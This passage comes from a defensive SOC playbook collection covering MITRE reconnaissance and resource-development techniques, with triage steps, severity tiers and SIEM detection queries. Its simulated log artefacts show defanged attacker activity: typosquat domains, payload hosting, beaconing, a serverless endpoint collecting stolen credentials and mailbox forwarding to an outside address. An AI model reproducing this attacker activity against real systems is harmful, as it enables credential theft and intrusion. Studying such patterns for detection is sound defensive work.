
B) Breach-credential correlation

```
index=auth  
| lookup breach_feeds email OUTPUT breach_status  
| where breach_status="Known"
```

C) No-recon intrusion pattern

```
index=auth OR index=netflow  
| transaction src_ip maxspan=7d  
| where recon_activity="None"
```

Analyst checklist

- Closed-source intelligence use confirmed
- Compromised data identified
- Accounts and systems secured
- Threat intel sources engaged
- Incident escalated appropriately

Post-incident improvements

- Treat access broker data as a primary threat vector
- Continuously monitor breach and dark web sources
- Reduce credential lifespan and reuse
- Enforce MFA everywhere, including VPNs and legacy services
- Correlate closed-source recon → immediate access → impact

Playbook 8 (MITRE Reconnaissance): Search Open Technical Databases

Technique: Search Open Technical Databases

Sub-techniques:

- DNS / Passive DNS
- WHOIS
- Digital Certificates
- CDNs
- Scan Databases

Purpose

Detect, investigate and respond to adversaries querying publicly available technical databases to collect high-fidelity intelligence about an organisation's infrastructure, enabling attackers to:

- Discover domains, subdomains and historical infrastructure
- Identify IP ownership, registrars and hosting providers
- Map certificate usage, trust chains and service endpoints
- Identify CDN-backed services and origin exposure
- Retrieve scan results and fingerprints without touching the target

Search Open Technical Databases is zero-touch reconnaissance attackers gather accurate infrastructure intelligence without generating logs on victim systems.

When to trigger this playbook

Trigger this playbook when indicators suggest infrastructure knowledge that could only come from public technical datasets, including:

- Attackers referencing old or decommissioned subdomains
- Precise targeting of CDN origin servers
- Knowledge of certificate SANs and service names
- Infrastructure awareness without prior scanning or probing
- Attack paths aligned with data from scan aggregation sites

Example use case scenario (end-to-end)

Context: SOC investigates an intrusion attempt against an API endpoint that was never advertised publicly. Analysis shows the endpoint appears in historical certificate SAN records and passive DNS data. No active scanning was detected prior to the attack.

Attacker objective: Use public technical datasets to identify hidden or forgotten attack surfaces.

Defender objective: Detect exposure paths and reduce intelligence leakage through public databases.

What it looks like (simulated SOC artefacts)

A) DNS / Passive DNS Recon

Source=PassiveDNS
Subdomains=old-api.corp.com, dev-vpn.corp.com
Status=Historical

B) WHOIS Lookup Usage

Registrar=Known
RegistrantOrg=Corp Ltd
NameServers=Identified

C) Digital Certificate Enumeration

CertificateSAN=api.corp.com, internal-api.corp.com
Issuer=PublicCA

D) CDN Intelligence

CDN=Cloudflare
OriginIP=Leaked
ServiceType=Web/API

E) Scan Database Reference

Source=Shodan/Censys
Port=8443
Service=Exposed

F) No Victim-Side Recon

InboundScanning=None

Severity decision (SOC)

Medium

- Limited use of open technical data without follow-on activity

High

- Sustained targeting based on public datasets
- Discovery of forgotten or internal-looking services

Critical

- Open-database recon directly enabling exploitation or access

Example severity: High

(Confirmed zero-touch infrastructure reconnaissance)

Step-by-step SOC workflow

Step 1 Validate open-database reconnaissance

Confirm:

1. Does the attacker reference domains, IPs or services not actively advertised?
2. Is the intelligence historical or indirect (passive DNS, cert SANs)?
3. Is there no corresponding scanning activity in logs?
4. Does the targeting align with known public datasets?

Decision point

- Coincidental knowledge → continue investigation
- Open technical database recon → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
DNS / Passive DNS	Historical records	Hidden assets
WHOIS	Ownership, NS	Provider targeting
Digital certificates	SANs, trust	Service discovery
CDNs	Origin leakage	Bypass protections
Scan databases	Ports, banners	Exploit selection

Step 3 Map behaviour to attacker intent

3A) Hidden Asset Discovery

Indicators

- Old or non-public subdomains targeted

Attacker intent

- Find forgotten entry points

3B) Control Bypass Planning

Indicators

- CDN origin awareness

Attacker intent

- Avoid WAF/CDN protections

3C) Precision Exploitation

Indicators

- Service-specific attack attempts

Attacker intent

- Maximise success, minimise noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Exploit public-facing applications
2. Credential Access
 - Auth attacks against discovered services
3. Defense Evasion
 - Direct-to-origin traffic
4. Persistence
 - Backdoor deployment on exposed systems

Decision point

- Exploitation detected → escalate to Intrusion IR

Containment actions

Immediate

1. Review and secure all exposed or historical assets
2. Remove or restrict unused DNS records and services
3. Mask or rotate exposed infrastructure details

If hostile recon confirmed

1. Audit certificate SANs and revoke unnecessary entries
2. Harden CDN configurations and origin protection
3. Notify SOC leadership and infrastructure owners

Eradication and recovery

- Decommission forgotten services and endpoints
- Rotate IPs and certificates if exposure is high-risk
- Reduce public footprint where possible
- Rebaseline exposure using the same open databases
- Monitor closely for renewed targeting

Detection engineering (SIEM ideas)

A) Zero-touch recon pattern

```
index=auth OR index=web  
| where inbound_scanning="None"  
| where targeted_service="NonPublic"
```

B) CDN origin targeting

```
index=netflow  
| where dest_ip IN (origin_ips)  
| where src_country!="Trusted"
```

C) Certificate SAN abuse correlation

```
index=web  
| where host IN (certificate_SANs)  
| where exposure!="Advertised"
```

Analyst checklist

- Open-database recon confirmed
- Sub-techniques identified

- Exposed assets documented
- Hardening actions completed
- Follow-on activity monitored

Post-incident improvements

- Treat public technical databases as an extension of the attack surface
- Regularly audit passive DNS, cert SANs and scan databases
- Remove historical artefacts aggressively
- Protect CDN origins and internal services
- Correlate open-database recon → targeted exploitation

Playbook 9 (MITRE Reconnaissance): Search Open Websites / Domains

Technique: Search Open Websites / Domains

Sub-techniques:

- Social Media
- Search Engines
- Code Repositories

Purpose

Detect, investigate and respond to adversaries leveraging publicly accessible websites and platforms to gather intelligence about the target organisation, enabling attackers to:

- Identify employees, roles, technologies and internal terminology
- Discover exposed credentials, secrets or configuration details
- Understand business operations, culture and communication style
- Identify development practices, repositories and deployment patterns
- Build highly convincing phishing, impersonation or exploitation campaigns

Search Open Websites / Domains is OSINT-driven reconnaissance attackers learn everything they can without ever touching the victim's infrastructure.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic harvesting of organisational information from public internet sources, including:

- Targeted phishing or fraud using accurate employee or role details
- Exploitation attempts aligned with technologies mentioned publicly
- Use of internal project names, tools or jargon by attackers
- Evidence of leaked code, credentials or configuration data
- Reconnaissance that precedes attacks without any active scanning

Example use case scenario (end-to-end)

Context: SOC investigates a spearphishing campaign referencing a specific internal project name and Git repository structure. Investigation shows developers publicly discussed the project on social media and an employee accidentally committed API keys to a public repository months earlier.

Attacker objective: Leverage publicly available information to gain credibility, locate weaknesses and accelerate compromise.

Defender objective: Reduce information exposure and prevent attackers from abusing OSINT.

What it looks like (simulated SOC artefacts)

A) Social Media Reconnaissance

Platform=LinkedIn
Data=EmployeeNames,Roles,Departments
Posts=TechnologyStackMentions

B) Search Engine Intelligence

Query="site:corp.com VPN login"
Results=InternalPortalReferences

C) Code Repository Discovery

Platform=GitHub
Repo=corp-api
Exposure=ConfigFiles

D) Credential Leakage

File=.env
Key=API_TOKEN
Visibility=Public

E) Internal Terminology Use

PhishingContent=ProjectPhoenix
Source=PublicBlog

F) No Victim-Side Recon

InboundScanning=None

Severity decision (SOC)

Medium

- Limited OSINT use with no sensitive data exposure

High

- Exposure of employee data, internal tools or technologies
- Recon enabling phishing or targeted intrusion

Critical

- Publicly exposed credentials, secrets or sensitive architecture
- OSINT directly leading to compromise or fraud

Example severity: High

(Confirmed OSINT reconnaissance enabling targeted attack)

Step-by-step SOC workflow

Step 1 Validate open-website reconnaissance

Confirm:

1. Is the attacker using information available on public platforms?
2. Does the intelligence include accurate internal details?
3. Is there no corresponding active recon in logs?
4. Does this information directly enable attack activity?

Decision point

- General background knowledge → document
- Targeted OSINT-driven recon → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Social media	Roles org charts	Human targeting
Search engines	Indexed portals/docs	Hidden access points
Code repositories	Source code, configs	Secrets & exploits
Credential leaks	Tokens, keys	Immediate access
Contextual data	Jargon, projects	Phishing realism

Step 3 Map behaviour to attacker intent

3A) Social Engineering Optimisation

Indicators

- Role- and project-specific phishing

Attacker intent

- Increase trust and response rate

3B) Technical Attack Preparation

Indicators

- Code and stack awareness

Attacker intent

- Choose effective exploits

3C) Direct Access Enablement

Indicators

- Leaked credentials or secrets

Attacker intent

- Bypass security controls

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing for Information
 - Spearphishing, vishing
2. Credential Access
 - Token or key abuse
3. Initial Access
 - API or service compromise
4. Impact
 - Data theft, fraud

Decision point

- Follow-on activity detected → escalate to Intrusion / Fraud IR

Containment actions

Immediate

1. Take down exposed repositories or posts
2. Revoke and rotate exposed credentials
3. Warn targeted users and teams

If OSINT recon confirmed

1. Conduct full public exposure review
2. Notify SOC leadership, DevOps, HR and Legal
3. Update awareness guidance for employees

Eradication and recovery

- Remove sensitive data from public platforms
- Rotate keys, tokens and credentials
- Harden repo and social media policies
- Reindex and validate search engine exposure
- Monitor closely for renewed OSINT abuse

Detection engineering (SIEM ideas)

A) Phishing using OSINT keywords

index=email
| where body LIKE "%internal_project%" OR body LIKE "%internal_tool%"

B) Credential leak correlation

index=auth
| lookup leaked_keys token OUTPUT status
| where status="Exposed"

C) No-recon intrusion pattern

index=auth
| where prior_recon="None"

Analyst checklist

- OSINT-driven reconnaissance confirmed
- Exposed information identified
- Credentials and access rotated
- Awareness and controls updated
- Follow-on attacks monitored

Post-incident improvements

- Treat public internet presence as an attack surface
- Regularly audit social media, search results and repositories
- Enforce secret scanning and repo hygiene
- Train employees on oversharing risks
- Correlate OSINT recon → phishing/access → impact

BY IZMER IZZUDDIN

Playbook 10 (MITRE Reconnaissance): Search Threat Vendor Data

Technique: Search Threat Vendor Data

Purpose

Detect, investigate and respond to adversaries leveraging commercial or semi-restricted threat intelligence vendor data to gather information about the victim organisation, enabling attackers to:

- Identify previously reported vulnerabilities or incidents
- Discover exposed IPs, domains or services flagged by vendors
- Learn detection gaps, security tooling or response patterns
- Obtain confidence that the organisation is a viable target
- Reduce trial-and-error during later attack stages

Search Threat Vendor Data is intelligence-driven reconnaissance attackers let defenders' own telemetry and reporting ecosystems guide their targeting.

When to trigger this playbook

Trigger this playbook when indicators suggest attacker knowledge that aligns closely with third-party threat intelligence reporting, including:

- Attacks targeting assets recently mentioned in vendor reports
- Adversary awareness of vulnerabilities or exposures not publicly advertised
- Exploitation attempts shortly after vendor disclosures
- Precision attacks aligned with vendor-reported weaknesses
- Reconnaissance patterns matching data typically available only via TI vendors

Example use case scenario (end-to-end)

Context: SOC detects exploitation attempts against a legacy VPN appliance. The vulnerability was highlighted weeks earlier in a commercial threat-intel report but not publicly disclosed. The attacker immediately targets the exact affected firmware version without scanning.

Attacker objective: Use vendor-reported intelligence to attack the organisation efficiently and quietly.

Defender objective: Understand how attacker intelligence was sourced and close exposure faster than adversaries can act.

What it looks like (simulated SOC artefacts)

A) Vendor-Specific Vulnerability Targeting

Target=VPN-Appliance

Firmware=6.2.4

Exploit=KnownToVendorOnly

B) No Broad Recon Activity

ScanningActivity=None

Enumeration=None

C) Timing Correlation

VendorReportDate=2026-01-05

AttackDate=2026-01-18

D) Asset Awareness

TargetedIPs=PreviouslyFlaggedByVendor

E) Detection Evasion

AttackVector=LowNoise

Attempts=Minimal

F) Intelligence Alignment

AttackPath=MatchesVendorAssessment

Severity decision (SOC)

High

- Limited use of vendor-reported intelligence

Critical

- Vendor data directly enabling exploitation or access
- Attacks exploiting non-public or early-warning intelligence

Example severity: Critical

(External intelligence-driven precision attack)

Step-by-step SOC workflow

Step 1 Validate threat-vendor-driven reconnaissance

Confirm:

1. Does the attacker show awareness of vulnerabilities or assets recently reported by vendors?
2. Is there little to no active scanning preceding the attack?
3. Does attack timing align with vendor reporting cycles?
4. Is the knowledge too specific to be guessed or scraped?

Decision point

- Coincidental alignment → continue investigation
- Threat vendor data abuse → escalate immediately

Step 2 Identify scope and intelligence source

Indicator	Evidence	Attacker value
Vendor-flagged assets	Targeted systems	Precision
Early disclosure abuse	Pre-patch exploits	Speed
Minimal probing	Clean logs	Stealth
Accurate configs	Version-specific attacks	Reliability
Timing alignment	Report → attack	Efficiency

Step 3 Map behaviour to attacker intent

3A) Accelerated Exploitation

Indicators

- Attacks shortly after TI reports

Attacker intent

- Beat defenders to remediation

3B) Reduced Detection

Indicators

- No noisy reconnaissance

Attacker intent

- Avoid early SOC alerts

3C) High-ROI Targeting

Indicators

- Focus on known weak points

Attacker intent

- Maximise success with minimal effort

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Exploit public-facing systems
2. Credential Access
 - Abuse known weak auth paths
3. Persistence
 - Backdoor vulnerable assets
4. Impact
 - Ransomware, data theft, sabotage

Decision point

- Exploitation confirmed → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate and patch targeted systems
2. Block attacker infrastructure
3. Increase monitoring on vendor-flagged assets

If vendor-data recon confirmed

1. Accelerate remediation of all vendor-reported issues
2. Review exposure beyond published scope
3. Notify SOC leadership, Vulnerability Management and Risk teams

Eradication and recovery

- Fully patch or retire affected systems
- Validate no persistence or backdoors remain
- Review change and remediation timelines
- Strengthen detection for vendor-highlighted TTPs
- Monitor closely for follow-on exploitation

Detection engineering (SIEM ideas)

A) Attack shortly after vendor disclosure

index=alerts
 | where asset IN (vendor_reported_assets)
 | where _time > vendor_report_time

B) Precision exploitation without recon

index=netflow OR index=web
 | where scanning_activity="None"
 | where exploit_attempt="True"

C) Vendor-flagged asset monitoring

index=asset_inventory
 | where risk_rating="High"

Analyst checklist

- Threat-vendor-driven recon confirmed
- Targeted assets identified
- Remediation prioritised and executed
- Monitoring increased
- Incident escalated appropriately

Post-incident improvements

- Treat threat-intel reports as attacker playbooks
- Reduce remediation lag after vendor disclosures
- Proactively hunt on vendor-flagged exposures
- Assume attackers read the same reports you do
- Correlate vendor report → attack → impact

Playbook 11 (MITRE Reconnaissance): Search Victim-Owned Websites

Technique: Search Victim-Owned Websites

Purpose

Detect, investigate and respond to adversaries systematically reviewing the organisation's own public-facing websites and web applications to gather intelligence, enabling attackers to:

- Identify exposed applications, portals and APIs
- Discover hidden directories, admin panels or legacy pages
- Harvest employee names, emails and contact details
- Identify technologies, frameworks and versions in use
- Find misconfigurations, test pages or forgotten assets

Search Victim-Owned Websites is self-intelligence harvesting attackers learn about the organisation directly from what it publishes about itself.

When to trigger this playbook

Trigger this playbook when indicators suggest non-normal, systematic interaction with victim-owned websites, including:

- Automated crawling or scraping of corporate websites
- Enumeration of URLs, directories or parameters
- Repeated access to /admin, /test, /old, /backup paths
- Harvesting of staff pages, PDFs or contact directories
- Website recon preceding phishing, exploitation or access attempts

Example use case scenario (end-to-end)

Context: SOC observes a single external IP crawling thousands of URLs across the company's main site and sub-domains. The crawler accesses archived press releases, staff bios and legacy application paths. Days later, targeted phishing emails reference real employee names and internal portal URLs.

Attacker objective: Extract authoritative organisational and technical intelligence from official sources.

Defender objective: Detect website reconnaissance early and reduce exploitable information exposure.

What it looks like (simulated SOC artefacts)

A) Automated Website Crawling

UserAgent=CustomCrawler/1.0

Requests=12,000

Paths=Sequential

B) Directory Enumeration

URI=/admin

URI=/old

URI=/dev

URI=/backup

C) Content Harvesting

AccessedFiles=staff.html, contacts.pdf org_chart.pdf

D) Technology Fingerprinting

Headers=X-Powered-By: ASP.NET

Framework=Identified

E) Legacy Page Discovery

Page=/portal_v1/login

Status=200

F) Follow-on Correlation

NextEvent=TargetedPhishing

Severity decision (SOC)

Medium

- Limited or generic website crawling

High

- Sustained scraping of sensitive pages or directories
- Recon linked to phishing or exploitation preparation

Critical

- Website recon immediately enabling compromise or fraud

Example severity: High

(Confirmed hostile reconnaissance using victim-owned websites)

Step-by-step SOC workflow

Step 1 Validate victim-website reconnaissance

Confirm:

1. Is the activity systematic and automated?
2. Is it targeting non-typical or sensitive paths?
3. Is the source external and unauthorised?
4. Does activity precede phishing, exploitation or access attempts?

Decision point

- Legitimate SEO or monitoring → validate source
- Malicious website reconnaissance → escalate

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Crawling	High request volume	Full site map
Directory brute-force	Guessing paths	Hidden pages
Content scraping	PDFs, staff pages	Identity intel
Tech fingerprinting	Headers, errors	Exploit selection
Legacy discovery	Old portals	Weak entry points

Step 3 Map behaviour to attacker intent

3A) Attack Surface Discovery

Indicators

- Enumeration of paths and sub-pages

Attacker intent

- Identify exploitable endpoints

3B) Social Engineering Preparation

Indicators

- Staff and contact harvesting

Attacker intent

- Improve phishing credibility

3C) Exploit Planning

Indicators

- Framework and version discovery

Attacker intent

- Select compatible exploits

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing for Information
 - Spearphishing emails or calls
2. Initial Access
 - Exploitation of web apps
3. Credential Access
 - Login brute force or spraying
4. Persistence
 - Web shells or backdoors

Decision point

- Follow-on activity detected → escalate to Intrusion IR

Containment actions

Immediate

1. Rate-limit or block abusive crawling sources
2. Enable WAF rules for directory enumeration
3. Increase logging on targeted pages

If hostile recon confirmed

1. Remove or secure exposed legacy pages

2. Minimise sensitive information on public sites
3. Notify SOC leadership and Web/App owners

Eradication and recovery

- Decommission unused or legacy web assets
- Harden authentication and access controls
- Sanitize public content and metadata
- Review robots.txt and crawler policies
- Monitor closely for renewed website recon

Detection engineering (SIEM ideas)

A) High-volume crawler detection

```
index=web  
| stats count by src_ip  
| where count > threshold
```

B) Directory brute-force detection

```
index=web  
| where uri IN ("/admin", "/dev", "/backup")  
| stats count by src_ip
```

C) Scraping of sensitive content

```
index=web  
| where uri LIKE "%.pdf" OR uri LIKE "%staff%"
```

Analyst checklist

- Victim-website reconnaissance confirmed
- Targeted pages and assets identified
- Exposure reduced or removed
- Blocking and monitoring applied
- Follow-on activity monitored

Post-incident improvements

- Treat public websites as intelligence sources for attackers
- Regularly audit what information is publicly exposed
- Remove legacy and test pages aggressively
- Monitor crawling patterns beyond normal SEO

- Correlate website recon → phishing/exploit → compromise

BY IZMER IZUDDIN

RESOURCE DEVELOPMENT

Resource Development is the stage where attackers prepare everything they need before engaging the target environment. Instead of interacting with victim systems directly, adversaries focus on building, acquiring or staging the tools, infrastructure, identities and capabilities that will be used later in the attack. This includes developing malware, creating phishing templates, registering domains, acquiring servers, obtaining credentials and preparing exploits or payloads. Resource Development is largely invisible to the victim, but it determines how scalable, stealthy and resilient an attack will be once execution begins. For SOC teams, understanding Resource Development is critical because it explains why attacks look polished, coordinated and repeatable **and** it enables defenders to leverage threat intelligence, infrastructure analysis and pre-attack indicators to disrupt campaigns before initial access occurs.

Playbook 12 (MITRE Resource Development): Acquire Access

Technique: Acquire Access

Purpose

Detect, investigate and respond to adversaries acquiring pre-existing access to systems, accounts or networks rather than breaking in themselves, enabling attackers to:

- Skip reconnaissance and exploitation phases entirely
- Purchase or inherit already-compromised access
- Reduce noise and detection risk
- Enter environments with valid credentials or sessions
- Accelerate time-to-impact (ransomware, fraud, espionage)

Acquire Access is outsourced intrusion attackers don't break the lock they buy the key.

When to trigger this playbook

Trigger this playbook when indicators suggest access was obtained externally rather than created through your environment, including:

- Valid logins with no preceding phishing, scanning or exploitation
- Credentials known to be exposed via breaches or access brokers
- Access appearing immediately after recon with no intrusion trail
- Use of accounts that were compromised outside the organisation
- Authentication success on first attempt from unfamiliar infrastructure

Example use case scenario (end-to-end)

Context: SOC detects a successful VPN login for a contractor account that has been inactive for months. No phishing, scanning or brute force activity is observed. Dark-web monitoring confirms the same credentials were sold by an Initial Access Broker two weeks earlier.

Attacker objective: Gain immediate, low-noise entry using purchased access.

Defender objective: Contain access, determine exposure and prevent reuse or resale.

What it looks like (simulated SOC artefacts)

A) Immediate Valid Authentication

AuthResult=Success

Attempts=1
User=contractor01
Method=VPN

B) No Precursor Activity

Scanning=None
Phishing=None
Exploit=None

C) Unfamiliar Source Infrastructure

SourceIP=185.XX.XX.XX
ASN=BulletproofHosting
Country=Unusual

D) Breach Correlation

CredentialStatus=KnownBreach
Source=DarkWebFeed

E) Broker Evidence

ListingType=CorporateVPNAccess
AccessLevel=User

F) Rapid Post-Access Activity

NextAction=InternalDiscovery

Severity decision (SOC)

High

- Acquired access limited to low-privilege or isolated systems

Critical

- Access enables lateral movement or privilege escalation
- Brokered or breach-derived access used successfully
- Immediate progression toward impact

Example severity: Critical

(Purchased access enabling immediate intrusion)

Step-by-step SOC workflow

Step 1 Validate acquired access

Confirm:

1. Did access occur without internal exploitation activity?
2. Were credentials or sessions already valid before the event?
3. Does the account appear in breach or broker datasets?
4. Is there no reconnaissance trail in your logs?

Decision point

- Internal compromise path → investigate normally
- Externally acquired access → escalate immediately

Step 2 Identify acquisition method and scope

Method	Evidence	Attacker value
Access broker	Dark-web listing	Speed
Breach reuse	Known leaked creds	Low effort
Insider resale	Legit credentials	Trust
Third-party compromise	Vendor account	Bypass perimeter
Token/session theft	Existing sessions	MFA bypass

Step 3 Map behaviour to attacker intent

3A) Time Compression

Indicators

- No recon or exploitation

Attacker intent

- Reach objectives faster

3B) Detection Avoidance

Indicators

- Clean authentication trail

Attacker intent

- Bypass SOC early warning

3C) Monetisation or Strategic Access

Indicators

- Ransomware or espionage TTPs

Attacker intent

- Maximise ROI on purchased access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Discovery
 - Host, user and network enumeration
2. Privilege Escalation
 - Role abuse, token theft
3. Persistence
 - Account creation or modification
4. Impact
 - Ransomware, data theft, fraud

Decision point

- Post-access activity detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable affected accounts and sessions
2. Force credential resets and MFA re-enrolment
3. Block attacker IPs and infrastructure

If acquired access confirmed

1. Invalidate all credentials related to the access path
2. Audit similar accounts (contractors, vendors, legacy users)
3. Notify SOC leadership, IAM, Legal and Risk

Eradication and recovery

- Remove attacker foothold and persistence
- Reissue credentials and tokens
- Review third-party and remote access controls
- Strengthen breach-credential detection
- Monitor closely for reuse of sold access

Detection engineering (SIEM ideas)

A) First-attempt success anomaly

```
index=auth
| where auth_result="Success"
| where attempts=1
| where prior_activity="None"
```

B) Breach-credential correlation

```
index=auth
| lookup breach_feeds username OUTPUT breach_status
| where breach_status="Known"
```

C) Access broker behaviour

```
index=auth
| where src_asn IN (bulletproof_asn_list)
```

Analyst checklist

- Acquired access confirmed
- Source of access identified
- Credentials and sessions revoked
- Scope of exposure assessed
- Incident escalated appropriately

Post-incident improvements

- Treat Initial Access Brokers as a primary threat vector
- Reduce credential lifespan and reuse
- Enforce MFA everywhere, including legacy and vendor access
- Continuously monitor breach and dark-web sources
- Correlate acquired access → rapid intrusion → impact

Playbook 13 (MITRE Resource Development): Acquire Infrastructure

Technique: Acquire Infrastructure

Sub-techniques:

- Domains
- DNS Server
- Virtual Private Server
- Server
- Botnet
- Web Services
- Serverless
- Malvertising

Purpose

Detect, investigate and respond to adversaries building, renting or abusing infrastructure used to support attacks, including:

- Command-and-Control (C2)
- Phishing and credential harvesting
- Payload hosting and staging
- Traffic redirection and anonymisation
- Large-scale automation and delivery

This technique occurs before Initial Access but directly enables Phishing, Malware Delivery, C2, Exfiltration and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest adversary-controlled infrastructure interacting with your environment, including:

- Newly registered or lookalike domains contacting users
- DNS infrastructure linked to known malicious campaigns
- Traffic to VPS or cloud-hosted IP ranges with low reputation
- Web services abused for hosting phishing pages or payloads
- Botnet-like traffic patterns (periodic beacons, fan-out)
- Serverless endpoints receiving stolen data or credentials
- Malvertising redirects leading to exploit or phishing sites

Example use case scenario (end-to-end)

Context: The SOC detects a phishing campaign delivering links that resolve to a newly registered domain, hosted on a cloud VPS, fronted by a CDN, with credential data sent to a serverless endpoint.

Attacker objective: Rapidly acquire flexible infrastructure that can be rotated, abandoned or scaled with minimal cost and attribution.

Defender objective: Identify infrastructure early, block and sinkhole and prevent reuse across campaigns.

What it looks like (simulated SOC artefacts)

A) Domains (Lookalike / Newly Registered)

2026-02-16T03:11:02Z
domain=examp1e-secure[.]com
registration_date=2026-02-15
registrar=OffshoreRegistrar
typosquat=true

B) DNS Server Abuse

2026-02-16T03:11:14Z
dns_query=login.examp1e-secure[.]com
authoritative_ns=ns1.fast-dns-host[.]net
ttl=60

C) Virtual Private Server (VPS)

2026-02-16T03:11:31Z
dst_ip=185.199.109.12
asn=CloudVSPProvider
country=DE
reputation=new

D) Server (Payload Hosting)

2026-02-16T03:11:44Z
url=hxxps://examp1e-secure[.]com/update.bin
content_type=application/octet-stream

E) Botnet Infrastructure

2026-02-16T03:12:10Z

pattern=periodic_beacon
interval=60s
dst_domain=sync.examp1e-secure[.]com

F) Web Services Abuse

2026-02-16T03:12:25Z
hosting=CloudObjectStorage
bucket=secure-update-assets
public_access=true

G) Serverless Endpoints

2026-02-16T03:12:39Z
endpoint=hxxps://api-cloud-functions[.]net/collect
method=POST
payload=credential_data

H) Malvertising

2026-02-16T03:12:58Z
ad_network=AdExchange
redirect_chain=5
final_url=hxxps://examp1e-secure[.]com/login

Severity decision (SOC)

Low

- Infrastructure observed but no interaction
- Blocked by DNS / email / proxy

Medium

- Infrastructure contacted but no data exchange
- Single technique observed

High

- Multiple infrastructure layers observed
- Credential submission, malware delivery or beaconing
- Infrastructure reused across multiple users or campaigns

Example severity: High

(New domain + VPS + serverless exfil endpoint)

Step-by-step SOC workflow

Step 1 Validate infrastructure maliciousness

Confirm:

1. Domain age and similarity
2. Hosting reputation and ASN
3. TLS certificate anomalies
4. Infrastructure reuse across campaigns

Decision point

- Benign cloud usage → monitor
- Malicious or deceptive infra → continue investigation

Step 2 Identify infrastructure scope

Sub-technique	Evidence	Attacker value
Domains	Lookalike / fresh	Phishing, trust abuse
DNS	Fast-flux, low TTL	Resilience
VPS	Cloud-hosted IPs	Anonymity
Server	Payload staging	Malware delivery
Botnet	Beacon patterns	Scale
Web services	Free hosting	Low cost
Serverless	Data collection	Evasion
Malvertising	Ad networks	Mass reach

Step 3 Map infrastructure type to intent

3A) Domains

Indicators

- Newly registered
- Typosquatting

Attacker intent

- Brand impersonation
- Credential harvesting

3B) DNS Server

Indicators

- Rapid IP rotation
- Short TTL

Attacker intent

- Evade takedown
- C2 resilience

3C) Virtual Private Server (VPS)

Indicators

- Hosting provider ASNs
- Clean IP reputation

Attacker intent

- Blend into normal traffic

3D) Server

Indicators

- Binary hosting
- Script staging

Attacker intent

- Payload delivery

3E) Botnet

Indicators

- Periodic beaconing
- Many clients → one domain

Attacker intent

- Scalable C2

3F) Web Services

Indicators

- Abuse of object storage / SaaS
- Public buckets

Attacker intent

- Low-cost hosting

3G) Serverless

Indicators

- POST-only endpoints
- No browsing activity

Attacker intent

- Credential exfiltration
- Log evasion

3H) Malvertising

Indicators

- Ad redirects
- Drive-by phishing

Attacker intent

- Large-scale delivery

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Form submissions
 - Auth anomalies
2. Malware Execution
 - Downloads
 - EDR alerts

3. C2 Communication
 - Beacon patterns
 - DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If infrastructure observed only

1. Block domains, IPs, URLs
2. Add DNS sinkhole entries
3. Update email and proxy rules

If infrastructure used actively

1. Block across all controls (DNS, proxy, EDR)
2. Isolate affected endpoints
3. Reset credentials if exposed
4. Notify ad networks or hosting providers

Eradication and recovery

- Remove persistence and malware
- Rotate credentials and tokens
- Review certificate trust
- Validate no additional infrastructure in use
- Update detection rules

Detection engineering (SIEM ideas)

A) Newly registered domain detection

```
index=dns  
| where domain_age < 7  
| stats count by domain
```

B) Beaconsing detection

```
index=proxy  
| bucket span=1m _time  
| stats count by src_ip, dest_domain
```

| where count > 10

Analyst checklist

- Infrastructure type identified
- Cross-control blocking completed
- Credential exposure assessed
- Follow-on activity investigated
- Stakeholders informed

Post-incident improvements

- Enforce “new domain” blocking policies
- Monitor cloud and serverless abuse
- Integrate ad-malvertising telemetry
- Improve DNS visibility and TTL analysis
- Automate infrastructure IOC rotation

Playbook 14 (MITRE Resource Development): Compromise Accounts

Technique: Compromise Accounts

Sub-techniques:

- Social Media Accounts
- Email Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries compromising legitimate accounts and repurposing them as trusted attack resources, enabling:

- High-credibility phishing and social engineering
- Business Email Compromise (BEC)
- OAuth and API abuse
- Cloud lateral movement
- Reputation laundering (attacks appear legitimate)

This technique typically occurs before or alongside Initial Access and is often sourced from external breaches, phishing, credential reuse or access brokers.

When to trigger this playbook

Trigger this playbook when indicators suggest account takeover or abnormal trusted-account activity, including:

- Successful logins from new countries, ASNs or devices
- MFA fatigue, bypass or disablement
- Creation of inbox rules, forwarding or OAuth grants
- Accounts sending phishing or fraud messages
- Cloud accounts accessing data outside normal scope
- Threat intelligence reporting compromised accounts tied to campaigns

Example use case scenario (end-to-end)

Context: SOC detects phishing emails sent from a trusted vendor email account. Further analysis shows the vendor's cloud mailbox was compromised, with OAuth persistence used to maintain access.

Attacker objective: Exploit existing trust relationships to bypass security controls and escalate into fraud or lateral compromise.

Defender objective: Confirm takeover, remove persistence, contain blast radius and prevent reuse.

What it looks like (simulated SOC artefacts)

A) Social Media Account Compromise

2026-02-20T01:11:04Z
platform=LinkedIn
account=employee_profile
activity=DirectMessage
message="Please review updated payment details"
recipient_role=Finance
2026-02-20T01:11:07Z
login_src_ip=185.199.108.55
geo=RU
device=unknown

B) Email Account Compromise

2026-02-20T01:18:41Z
user=accounts@partner.my
login_result=success
auth_method=password
mfa=disabled
src_ip=45.67.89.10
geo=NL
2026-02-20T01:20:12Z
user=accounts@partner.my
activity=CreateInboxRule
rule="Move replies to RSS Feeds"
2026-02-20T01:21:03Z
user=accounts@partner.my
activity=EnableForwarding
destination=external_mailbox@gmail.com

C) Cloud Account Compromise

2026-02-20T01:29:33Z
user=finance.admin@example.my
platform=CloudIAM
activity=OAuthConsent
app_name="Document Viewer Pro"
permissions="Mail.Read, Files.Read.All"

2026-02-20T01:29:36Z
risk_level=high
session_persistence=true

Severity decision (SOC)

Low

- Failed login attempts only
- User confirms activity
- No persistence or privilege change

Medium

- Successful login with limited scope
- No evidence of persistence

High

- MFA bypass or disablement
- Inbox rules, forwarding or OAuth persistence
- Phishing, fraud or data access from the account

Example severity: High

